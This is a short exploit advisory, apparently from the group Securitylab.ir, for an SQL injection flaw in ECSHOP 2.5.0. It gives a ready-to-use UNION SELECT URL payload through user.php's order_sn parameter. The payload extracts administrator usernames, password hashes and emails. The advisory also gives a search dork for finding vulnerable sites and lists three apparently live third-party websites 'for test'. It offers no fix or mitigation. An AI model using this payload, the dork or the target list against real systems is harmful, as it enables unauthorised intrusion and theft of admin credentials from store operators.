######################### Securitylab.ir ######################## # Application Info: # Name: ECSHOP # Version: 2.5.0 # Website: http://www.ecshop.com ################################################################# # Discoverd By: Securitylab.ir # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir ################################################################# # Vulnerability Info: # Type: Sql Injection # Risk: High # Dork: "Powered by ECShop v2.5.0" #=========================================================== # http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/* #=========================================================== ################################################################# # For test: # http://www.lobang99.com/store # http://www.amteore.com # http://www.vostart.com/web/eng ################################################################# # Securitylab Security Research Team ###################################################################